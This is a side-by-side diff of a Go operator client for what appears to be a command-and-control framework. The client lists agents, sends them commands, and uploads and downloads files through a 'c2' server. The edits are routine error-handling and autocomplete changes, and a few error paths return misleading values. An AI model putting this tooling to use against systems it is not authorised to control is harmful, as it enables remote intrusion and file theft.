| skipped 60 lines |
61 | 61 | | |
62 | 62 | | body, readErr := ioutil.ReadAll(resp.Body) |
63 | 63 | | if readErr != nil { |
64 | | - | log.Fatal(readErr) |
| 64 | + | fmt.Println(readErr) |
65 | 65 | | } |
66 | 66 | | |
67 | 67 | | var results []Agent |
68 | 68 | | jsonErr := json.Unmarshal(body, &results) |
69 | 69 | | if jsonErr != nil { |
70 | | - | log.Fatal(jsonErr) |
| 70 | + | fmt.Println(jsonErr) |
71 | 71 | | } |
72 | 72 | | |
73 | 73 | | for _, d := range results { |
| skipped 20 lines |
94 | 94 | | |
95 | 95 | | for { |
96 | 96 | | var completer = readline.NewPrefixCompleter( |
| 97 | + | readline.PcItem("download", |
| 98 | + | readline.PcItemDynamic(listFiles(c2, agent)), |
| 99 | + | ), |
| 100 | + | readline.PcItem("upload"), |
| 101 | + | readline.PcItem("agent", |
| 102 | + | readline.PcItemDynamic(listAgents(c2)), |
| 103 | + | ), |
97 | 104 | | readline.PcItem("cd", |
98 | 105 | | readline.PcItemDynamic(listFiles(c2, agent)), |
99 | 106 | | ), |
100 | 107 | | readline.PcItem("cat", |
101 | 108 | | readline.PcItemDynamic(listFiles(c2, agent)), |
102 | 109 | | ), |
103 | | - | readline.PcItem("download", |
| 110 | + | readline.PcItem("mv", |
104 | 111 | | readline.PcItemDynamic(listFiles(c2, agent)), |
105 | 112 | | ), |
106 | | - | readline.PcItem("agent", |
107 | | - | readline.PcItemDynamic(listAgents(c2)), |
| 113 | + | readline.PcItem("cp", |
| 114 | + | readline.PcItemDynamic(listFiles(c2, agent)), |
108 | 115 | | ), |
109 | 116 | | ) |
110 | 117 | | l, err := readline.NewEx(&readline.Config{ |
| skipped 64 lines |
175 | 182 | | file := parts[1] |
176 | 183 | | //copy(file, "/tmp/"+uuid) |
177 | 184 | | tempfile := uploadFile(file, c2) |
| 185 | + | if tempfile == "NotFound" { |
| 186 | + | fmt.Println("File not found") |
| 187 | + | break |
| 188 | + | } |
178 | 189 | | cmdString = "upload " + tempfile |
179 | 190 | | cmdid := sendCommand(cmdString, agent, c2) |
180 | 191 | | deadline := time.Now().Add(15 * time.Second) |
| skipped 22 lines |
203 | 214 | | path := parts[1] |
204 | 215 | | file := filepath.Base(path) |
205 | 216 | | downloadFile("/tmp/"+file, c2+"/files/"+file) |
206 | | - | fmt.Println("Process Download" + file) |
| 217 | + | //fmt.Println("Process Download" + file) |
207 | 218 | | } |
208 | 219 | | if id == cmdid && output != "" || cmdString == "" { |
209 | 220 | | fmt.Fprintln(os.Stderr, output) |
| skipped 110 lines |
320 | 331 | | |
321 | 332 | | body, readErr := ioutil.ReadAll(resp.Body) |
322 | 333 | | if readErr != nil { |
323 | | - | log.Fatal(readErr) |
| 334 | + | fmt.Println(readErr) |
324 | 335 | | } |
325 | 336 | | |
326 | 337 | | var results []Cmd |
327 | 338 | | jsonErr := json.Unmarshal(body, &results) |
328 | 339 | | if jsonErr != nil { |
329 | | - | log.Fatal(jsonErr) |
| 340 | + | fmt.Println(jsonErr) |
330 | 341 | | } |
331 | 342 | | |
332 | 343 | | for _, d := range results { |
| skipped 27 lines |
360 | 371 | | |
361 | 372 | | body, readErr := ioutil.ReadAll(resp.Body) |
362 | 373 | | if readErr != nil { |
363 | | - | log.Fatal(readErr) |
| 374 | + | fmt.Println(readErr) |
364 | 375 | | } |
365 | 376 | | |
366 | 377 | | var results Agent |
367 | 378 | | jsonErr := json.Unmarshal(body, &results) |
368 | 379 | | if jsonErr != nil { |
369 | | - | log.Fatal(jsonErr) |
| 380 | + | fmt.Println(jsonErr) |
370 | 381 | | } |
371 | 382 | | |
372 | 383 | | //fmt.Println(results.Working) |
| skipped 64 lines |
437 | 448 | | } |
438 | 449 | | |
439 | 450 | | func uploadFile(path string, c2 string) string { |
440 | | - | extraParams := map[string]string{ |
441 | | - | "operator": "none", |
442 | | - | } |
443 | | - | request, err := newfileUploadRequest(c2+"/api/cmd/files", extraParams, "myFile", path) |
444 | | - | if err != nil { |
445 | | - | log.Fatal(err) |
446 | | - | } |
447 | | - | client := &http.Client{} |
448 | | - | resp, err := client.Do(request) |
449 | | - | if err != nil { |
450 | | - | log.Fatal(err) |
451 | | - | } else { |
452 | | - | body := &bytes.Buffer{} |
453 | | - | _, err := body.ReadFrom(resp.Body) |
| 451 | + | if _, err := os.Stat(path); err == nil { |
| 452 | + | extraParams := map[string]string{ |
| 453 | + | "operator": "none", |
| 454 | + | } |
| 455 | + | request, err := newfileUploadRequest(c2+"/api/cmd/files", extraParams, "myFile", path) |
454 | 456 | | if err != nil { |
455 | | - | log.Fatal(err) |
| 457 | + | fmt.Println(err) |
456 | 458 | | } |
457 | | - | resp.Body.Close() |
458 | | - | //fmt.Println(resp.StatusCode) |
459 | | - | //fmt.Println(resp.Header) |
460 | | - | fmt.Println(body.String()) |
461 | | - | return body.String() |
| 459 | + | client := &http.Client{} |
| 460 | + | resp, err := client.Do(request) |
| 461 | + | if err != nil { |
| 462 | + | fmt.Println(err) |
| 463 | + | } else { |
| 464 | + | body := &bytes.Buffer{} |
| 465 | + | _, err := body.ReadFrom(resp.Body) |
| 466 | + | if err != nil { |
| 467 | + | fmt.Println(err) |
| 468 | + | } |
| 469 | + | resp.Body.Close() |
| 470 | + | return body.String() |
| 471 | + | } |
| 472 | + | return "Found" |
462 | 473 | | } |
463 | | - | return "" |
| 474 | + | return "NotFound" |
464 | 475 | | } |
465 | 476 | | |
466 | 477 | | // Creates a new file upload http request with optional extra params |
467 | 478 | | func newfileUploadRequest(uri string, params map[string]string, paramName, path string) (*http.Request, error) { |
468 | | - | file, err := os.Open(path) |
469 | | - | if err != nil { |
470 | | - | return nil, err |
471 | | - | } |
472 | | - | defer file.Close() |
| 479 | + | if _, err := os.Stat(path); err == nil { |
| 480 | + | file, err := os.Open(path) |
| 481 | + | if err != nil { |
| 482 | + | return nil, err |
| 483 | + | } |
| 484 | + | defer file.Close() |
473 | 485 | | |
474 | | - | body := &bytes.Buffer{} |
475 | | - | writer := multipart.NewWriter(body) |
476 | | - | part, err := writer.CreateFormFile(paramName, filepath.Base(path)) |
477 | | - | if err != nil { |
478 | | - | return nil, err |
479 | | - | } |
480 | | - | _, err = io.Copy(part, file) |
| 486 | + | body := &bytes.Buffer{} |
| 487 | + | writer := multipart.NewWriter(body) |
| 488 | + | part, err := writer.CreateFormFile(paramName, filepath.Base(path)) |
| 489 | + | if err != nil { |
| 490 | + | return nil, err |
| 491 | + | } |
| 492 | + | _, err = io.Copy(part, file) |
481 | 493 | | |
482 | | - | for key, val := range params { |
483 | | - | _ = writer.WriteField(key, val) |
484 | | - | } |
485 | | - | err = writer.Close() |
486 | | - | if err != nil { |
487 | | - | return nil, err |
488 | | - | } |
| 494 | + | for key, val := range params { |
| 495 | + | _ = writer.WriteField(key, val) |
| 496 | + | } |
| 497 | + | err = writer.Close() |
| 498 | + | if err != nil { |
| 499 | + | return nil, err |
| 500 | + | } |
489 | 501 | | |
490 | | - | req, err := http.NewRequest("POST", uri, body) |
491 | | - | req.Header.Set("Content-Type", writer.FormDataContentType()) |
492 | | - | return req, err |
| 502 | + | req, err := http.NewRequest("POST", uri, body) |
| 503 | + | req.Header.Set("Content-Type", writer.FormDataContentType()) |
| 504 | + | return req, err |
| 505 | + | } |
| 506 | + | return nil, nil |
493 | 507 | | } |
494 | 508 | | |